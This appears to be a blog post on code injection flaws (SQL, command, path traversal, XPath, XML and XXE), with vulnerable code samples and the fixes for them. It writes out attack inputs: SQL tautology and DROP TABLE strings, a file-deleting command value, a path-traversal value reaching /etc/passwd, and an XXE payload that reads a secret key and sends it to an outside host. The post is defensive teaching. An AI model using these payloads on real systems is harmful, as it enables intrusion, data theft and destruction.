The third post of this series focused on security vulnerabilities addresses code injections issues.
Code injection
Code injection is probably one of the most known security vulnerabilities for developers, however our analyses show it remains a major cause of issues related to security.
Code injection aims to take control of a command or a query by using some parameter which is not simple raw data, but contains code which will be executed without any control. It is part of security holes which are easiest to implement, even for a non expert, and has implications which can be extremely serious, such as recovery or destruction of confidential data.
An example with a SQL query in C#:
string query = "SELECT * FROM user "
+ "WHERE login='" + paramLogin
+ "' AND password='" + paramPassword
+ "'";
using (SqlCommand cmd = new SqlCommand(query, someConnection))
{
cmd.ExecuteNonQuery();
}
If the parameter paramPassword is a form field and the user enters 'OR 1=1, password condition will be simply ignored. And to destroy data, the user could try something like: '; DROP TABLE user; ...
In terms of code analysis, we consider 2 levels of severity according to the origin of parameters:
- parameter comes from a method parameter or a class attribute. It is not possible to assert that there is a security issue, because the parameter may have been checked before. But there is still a risk, because the query may be dangerous when reused elsewhere.
public User authenticate(string paramLogin, string paramPassword) { ... string query = "SELECT * FROM user " + "WHERE login='" + paramLogin + "' AND password='" + paramPassword + "'"; using (SqlCommand cmd = new SqlCommand(query, someConnection)) { cmd.ExecuteNonQuery(); } ... } - parameter comes directly from a HTTP parameter (such as a form field). You are usually sure it is a real security hole:
public User authenticate() { ... string query = "SELECT * FROM user " + "WHERE login='" + Request["login"] + "' AND password='" + Request["password"] + "'"; using (SqlCommand cmd = new SqlCommand(query, someConnection)) { cmd.ExecuteNonQuery(); } ... }
This flaw is mainly known for SQL queries, but we often forget that it can apply to other areas. Usually, recommendations for protecting against injection code are:
- verify data entry (e.g. a login should not contain quotes)
- systematically escape special characters such as quotes
- or better, use parameterized queries which will take care for this escaping automatically
SQL Injections and derivatives
Examples of SQL injections presented above also apply to SQL alternative technologies:
- HQL language for Java persistence framework Hibernate
- JPQL language for Java persistence specification JPA
- generic query language LINQ for C#
- ...
Actually, injection is possible when query is built concatenating parameters directly. You can manually escape special characters such as quotes, but the best solution is generally to use parameterized queries, which are available in most technologies. In addition to escaping special characters, these queries format parameters according to their data type, and may sometimes improve performance by caching structures of queries before setting parameters.
public User authenticate()
{
...
string query = "SELECT * FROM user "
+ "WHERE login=@login AND password=@password";
using (SqlCommand cmd = new SqlCommand(query, someConnection))
{
cmd.Parameters.AddWithValue("@login", Request["login"]);
cmd.Parameters.AddWithValue("@password", Request["password"]);
cmd.ExecuteNonQuery();
}
...
}
We also recommend the following two actions:
- never show SQL errors directly to the user. Otherwise, the attacker could use them to find flaws inside queries
- configure privileges of account used for database connection, in order to limit harmful actions, for example by prohibiting actions altering the database schema
Command Injection
Another area in which we detect some code injections opportunities: executions of command lines. Imagine a generic web service launching a tool through a command line and passing some parameter coming from the HTTP request:
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException
{
String param = req.getParameter("param");
Process process = Runtime.getRuntime().exec("c:\\someTool.bat " + param);
...
}
By setting parameter with a value like 0 | del c:\\xxx, an attacker might cause some pretty damage on system! Although the Java API used here covers most cases trying to handle each term of the command as arguments of the first program, we see that it remains necessary to check the contents of the HTTP parameter.
Injection of a file path
Another type of injection easy to set up and rather dangerous: inject a file path when the parameter is used to retrieve a file. For example, in this JSP, we support a copyright notice from language defined in HTTP parameter:
<html>
...
<jsp:include page="copyrights/<%= request.getParameter("lang") %>"/>
...
</html>
If the attacker changes its parameter lang for a value such as ../../../../etc/passwd,
he simply retrieves the file from the HTTP response. To avoid this vulnerability, you have to use static includes (<%@include file="copyrights/fr"%>), lock access to external / confidential files, and, again, check parameters before you use them.
XPath Injection
XPath is a query language in the same vein as SQL but applicable to XML documents. Previous SQL query might be written in XPath with something like: //users/user[login/text()='...' and password/text()='...']. Problem is identical to SQL injection, but XPath implementations do not always offer any equivalent parameterized queries. Example with the standard Java API (> 5.0), which allow to handle this case properly:
public void authenticate(String login, String password)
throws ParserConfigurationException, XPathExpressionException, IOException, SAXException
{
XPath xpath = XPathFactory.newInstance().newXPath();
xpath.setXPathVariableResolver(new AuthResolver(login, password));
XPathExpression query = xpath.compile("//users/user[login/text()=$login and password/text()=$password]/id/text()");
Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder
().parse(new File("auth.xml"));
String userId = query.evaluate(d);
...
}
private final static class AuthResolver implements XPathVariableResolver
{
private final String login;
private final String password;
public AuthResolver(String login, String password)
{
this.login = login;
this.password = password;
}
public Object resolveVariable(QName qName)
{
if ("login".equals(qName.getLocalPart()))
return login;
if ("password".equals(qName.getLocalPart()))
return password;
return null;
}
}
XML Injections
XML is often used as interchange format in SOA. Imagine a banking service recording account transactions from orders formatted as follows:
<?xml version="1.0" encoding="UTF-8"?> <order> <accountId>123</accountId> <amount>10000</amount> <type>debit</type> </order>
Now, imagine that this order is generated from an input form in which the user enters an amount with value 0</amount><type>credit</type><amount>10000. XML order becomes:
<?xml version="1.0" encoding="UTF-8"?> <order> <accountId>123</accountId> <amount>0</amount> <type>credit</type> <amount>10000</amount> <type>debit</type> </order>
Depending on how this XML document is read, order could be recorded as a credit instead of debit: this will be the case when using DOM search limited to the first element found.
This type of injection is easily prevented by validating the XML document with a model (DTD or XSD Schema), in addition to common operations such as (data verification or escaping of special characters). This is the reason why we offer a rule requiring to validate an XML document before parsing.
XXE (Xml eXternal Entity) Injections
Another type of injection specific to XML (source: http://archive.cert.uni-stuttgart.de/bugtraq/2002/10/msg00421.html), but based on the concept of external entities, which is a mechanism for static inclusion in XML:
<!DOCTYPE root [ <!ENTITY secreteKey SYSTEM "file:/somedir/secreteKey" > ] > <?xml version="1.0" encoding="UTF-8"?> <root> <node>&secreteKey;</node> </root>
When the file is interpreted by an XML parser, the text node node is dynamically replaced with the contents of the file declared by the external entity.
If this file comes from another system, it offers the possibility to access unprotected data. To view these data, either ill-intentioned system is able to parse XML file (e.g. an RSS feed sent to a aggregation server), either it could even retrieve data automatically via a second external entity pointing to a server which it can access:
<!DOCTYPE root [ <!ENTITY secreteKey SYSTEM "file:/somedir/secreteKey" > <!ENTITY sendSecreteKey SYSTEM "http:// someserver.com/?&secreteKey;" > ] > <?xml version="1.0" encoding="UTF-8"?> <root> <node>&sendSecreteKey;</node> </root>
The solution is simply to not accept external entities in files coming from third parties, and of course, to protect your file system ...
Conclusion
All types of injections are not listed here, but if there was only one thing to remember, this would be : systematically validate received data before using them!
To be continued... Next post will conclude this series with a medley of other vulnerability issues regularly seen on Cockpit, and which are sometimes surprising.
